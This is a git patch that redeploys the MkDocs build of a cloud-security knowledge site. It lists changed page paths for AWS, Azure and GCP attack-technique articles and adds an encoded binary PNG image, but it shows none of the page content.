From ba5356892af21f6990f2442a395c791ae378316d Mon Sep 17 00:00:00 2001 From: <> Date: Thu, 5 Dec 2024 19:51:03 +0000 Subject: [PATCH] Deployed 0d4455a7 with MkDocs version: 1.6.1 --- 404.html | 2 +- ...oting_public_resources_attack_playbook.png | Bin 0 -> 228707 bytes .../guardduty-pentest/index.html | 4 +- .../guardduty-tor-client/index.html | 4 +- .../modify-guardduty-config/index.html | 4 +- .../steal-keys-undetected/index.html | 4 +- aws/capture_the_flag/cicdont/index.html | 4 +- aws/deprecated/stealth_perm_enum/index.html | 4 +- aws/deprecated/whoami/index.html | 4 +- .../account_id_from_ec2/index.html | 4 +- .../account_id_from_s3_bucket/index.html | 4 +- .../brute_force_iam_permissions/index.html | 4 +- .../index.html | 4 +- .../index.html | 4 +- aws/enumeration/enum_iam_user_role/index.html | 4 +- .../index.html | 4 +- .../index.html | 4 +- .../get-account-id-from-keys/index.html | 4 +- .../loot_public_ebs_snapshots/index.html | 4 +- aws/enumeration/whoami/index.html | 4 +- .../index.html | 4 +- .../index.html | 4 +- .../index.html | 412 ++++++++++++++++++ .../index.html | 4 +- .../index.html | 4 +- .../index.html | 4 +- .../abusing-container-registry/index.html | 4 +- .../index.html | 4 +- .../cognito_user_self_signup/index.html | 4 +- aws/exploitation/ec2-metadata-ssrf/index.html | 4 +- .../iam_privilege_escalation/index.html | 4 +- .../lambda-steal-iam-credentials/index.html | 4 +- .../index.html | 4 +- .../index.html | 4 +- .../index.html | 4 +- .../index.html | 4 +- .../s3_server_access_logs/index.html | 4 +- aws/exploitation/s3_streaming_copy/index.html | 4 +- .../aws_cli_tips_and_tricks/index.html | 4 +- .../aws_organizations_defaults/index.html | 4 +- .../index.html | 4 +- .../connection-tracking/index.html | 4 +- .../iam-key-identifiers/index.html | 4 +- .../intro_metadata_service/index.html | 4 +- .../introduction_user_data/index.html | 4 +- .../using_stolen_iam_credentials/index.html | 4 +- .../index.html | 4 +- .../index.html | 4 +- .../index.html | 4 +- .../iam_persistence/index.html | 4 +- .../intercept_ssm_communications/index.html | 4 +- .../lambda_persistence/index.html | 4 +- .../role-chain-juggling/index.html | 4 +- .../run_shell_commands_on_ec2/index.html | 4 +- .../s3_acl_persistence/index.html | 4 +- .../index.html | 4 +- .../user_data_script_persistence/index.html | 4 +- azure/abusing-managed-identities/index.html | 4 +- azure/anonymous-blob-access/index.html | 4 +- azure/enum_email_addresses/index.html | 4 +- azure/run-command-abuse/index.html | 4 +- azure/soft-deleted-blobs/index.html | 4 +- blog/2022_wrap-up/index.html | 4 +- blog/2023_wrap-up/index.html | 4 +- blog/v2_new_look/index.html | 4 +- feed_json_created.json | 2 +- feed_json_updated.json | 2 +- feed_rss_created.xml | 2 +- feed_rss_updated.xml | 2 +- gcp/capture_the_flag/gcp-goat/index.html | 4 +- gcp/capture_the_flag/thunder_ctf/index.html | 4 +- .../enum_email_addresses/index.html | 4 +- .../enumerate_all_permissions/index.html | 4 +- .../index.html | 4 +- .../gcp_iam_privilege_escalation/index.html | 4 +- .../default-account-names/index.html | 4 +- gcp/general-knowledge/gcp-buckets/index.html | 4 +- .../index.html | 4 +- .../security-and-constraints/index.html | 4 +- index.html | 4 +- search/search_index.json | 2 +- sitemap.xml | 154 +++---- sitemap.xml.gz | Bin 1371 -> 1391 bytes .../terraform_ansi_escape_evasion/index.html | 4 +- .../index.html | 4 +- 85 files changed, 647 insertions(+), 231 deletions(-) create mode 100644 assets/images/social/aws/exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook.png create mode 100644 aws/exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/index.html diff --git a/404.html b/404.html index c34ed43db..6facbeddf 100644 --- a/404.html +++ b/404.html @@ -1 +1 @@ - Hacking The Cloud

404 - Not found

\ No newline at end of file + Hacking The Cloud

404 - Not found

\ No newline at end of file diff --git a/assets/images/social/aws/exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook.png b/assets/images/social/aws/exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook.png new file mode 100644 index 0000000000000000000000000000000000000000..d0ee720692e54f6ee7b6503d604fc5b9e3a631b9 GIT binary patch literal 228707 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 